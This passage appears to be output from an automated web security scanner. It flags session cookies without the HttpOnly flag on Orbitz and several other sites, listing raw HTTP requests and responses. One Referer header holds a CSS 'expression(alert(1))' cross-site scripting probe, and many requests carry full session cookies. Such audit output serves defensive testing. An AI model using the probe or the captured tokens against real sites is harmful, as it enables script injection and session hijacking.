HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:58:01 GMT Server: Apache/2.2.8 (Unix) PHP/5.2.5 X-Powered-By: PHP/5.2.5 Set-Cookie: PHPSESSID=7110efa8adba60163d4df13d64f63be7; expires=Thu, 03 Feb 2011 15:58:01 GMT; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 43539
<!doctype html> <html lang="en-US" class="main_content"> <head> <title>LIVESTRONG.COM - Lose Weight & Get Fit with Diet, Nutrition & Fitness Tools</title> <meta http-equiv="content-type" conte ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
PHPSESSID=6s4sdr3asl7l8jjkbs45cohrb7; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.milleniumdental.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:58:07 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.1.6 Set-Cookie: PHPSESSID=6s4sdr3asl7l8jjkbs45cohrb7; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 8949
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> <head><tit ...[SNIP]...
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/scorecard/2mdn.net HTTP/1.1 Host: www.mywot.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/gpl-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /licenses/mit-license.php HTTP/1.1 Host: www.opensource.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ozone/24-7.asp?referer= HTTP/1.1 Host: www.opinionlab.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 347 Content-Type: text/html ETag: "" Server: Microsoft-IIS/7.0 Set-Cookie: ASPSESSIONIDQQDDQTCB=EACPFNEADPECIPAGAJNPILOE; path=/ X-Powered-By: ASP.NET Date: Wed, 02 Feb 2011 16:04:21 GMT Connection: close
<script> var _sW=screen.width; var _sH=screen.height; window.open('https://pageviewer.opinionlab.com/pv_controlboard.html?url=','PageViewer','height=529,width=705,screenX='+((_sW-705)/2)+',screenY='+( ...[SNIP]...
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /flight-info/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 301 Moved Permanently Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=8258E6F4780E0F69A1F8741028922A4C; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Tue, 21-Feb-2079 10:01:00 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Location: http://www.orbitz.com/App/PrepareFlightsTab Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 34 Date: Thu, 03 Feb 2011 06:46:52 GMT Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660;path=/
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/?z=4fae&r=1o HTTP/1.1 Host: www.orbitz.com Proxy-Connection: keep-alive Referer: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=promotions&cnt=PRO&type=oa_qs35daf%22style%3d%22x%3aexpression(alert(1))%221333ba1041f Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; OSC=265DA875C314B0C54855FC80AB1B1D8C; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; mbox=check#true#1296573851|session#1296573790873-999455#1296575651; adRotator=true; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573834583:ss=1296573790782; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e34fb045525d5f4f58455e445a4a4217b9
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; Path=/ Set-Cookie: logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; Domain=.orbitz.com; Path=/ Set-Cookie: myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; Expires=Mon, 27-Jan-2031 15:23:12 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Tue, 01 Feb 2011 15:23:12 GMT Set-Cookie: NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9;path=/ Content-Length: 107727
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/?z=2eb8&r=b HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=B2008471E286BF0352AC254A6CAAB529; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:02 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:11:55 GMT Content-Length: 112339
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/Canada--ON/Toronto/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=28434626E0D56CD35CBF1103FC110834; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:27:25 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:13:18 GMT Content-Length: 548686
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/France/Nice/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=1AF2BDC7336554AF99ED45E1A21894A1; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:17 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:10 GMT Content-Length: 525349
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/France/Paris/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=C8A51BA9BDBBD26D20FC4334F7CA2E66; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:15 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:07 GMT Content-Length: 539958
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/Mexico/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=D2C85D554CA32ADDC54E94FFDF0230B3; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:28 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:21 GMT Content-Length: 94803
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/Mexico/Cancun/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; dpc=HOTEL%7C1.6%7C%7CBoston%2C+MA%2C+United+States%7C%7C%7CUS%7C%7C%7C+%26%26HB%7C%7C2011-02-01%7C2011-02-02%7C1%7C2%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C+%7C%26%26HE; OrbitzRegistration="N,0,0,0"; NSC_JOu2s3r4deikrvveb50lfpcjwwizbbq=ffffffff09e3b63045525d5f4f58455e445a4a4217b9; anon=8916556551294354144817; PackagingContext=APH; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296573936983:ss=1296573790782; adRotator=true; NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3887545525d5f4f58455e445a4a423660; intentmedia_user_id=e6908583-79a9-4ea3-a0a2-86edabb110c5;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=A7C11ECB0E3B30FA10F527B9D00A483D; Path=/ Set-Cookie: AustinLocale=en_US; Expires=Mon, 20-Feb-2079 19:26:28 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache P3P: CP="CAO DSP CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR DELi SAMi OTRi BUS PHY ONL UNI PUR COM NAV INT DEM STA POL HEA PRE GOV" Pragma: no-cache Cache-Control: no-store Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Feb 2011 16:12:21 GMT Content-Length: 584000
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /hotels/Mexico/Playa_Del_Carmen/ HTTP/1.1 Host: www.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; JSESSIONID=D1DA21DD44B66783CD13169E22B74D3D; NSC_ufbmfbg.tel.80_dt_ufbmfbg=ffffffff09e3d5ba45525d5f4f58455e445a4a4217b9; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; OSC=265DA875C314B0C54855FC80AB1B1D8C; myFavoriteHotels=favoriteHotels%3A%7CpastSearches%3A%7BHOTEL_Boston%2C+MA%2C+United+States_1_2011-02-01T00%3A00%3A00.000-06%3A00_2011-02-02T00%3A00%3A00.000-06%3A00____35371_2_1_1_1%7D; logging=265DA875C314B0C54855FC80AB1B1D8C|egapp30p|egapp2217p.prod.orbitz.net; myTests=UBP323_SinglePage%3A%7C%3A%7C%3A%7CMERCH500_hotelResultCards%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7C%3A%7Cv1; NSC_JO25vb2abn443z5cugskakbawwvvqet=ffffffff09e3a72d45525d5f4f58455e445a4a4217b9; mbox=check#true#1296573951|session#1296573790873-999455#1296575751; 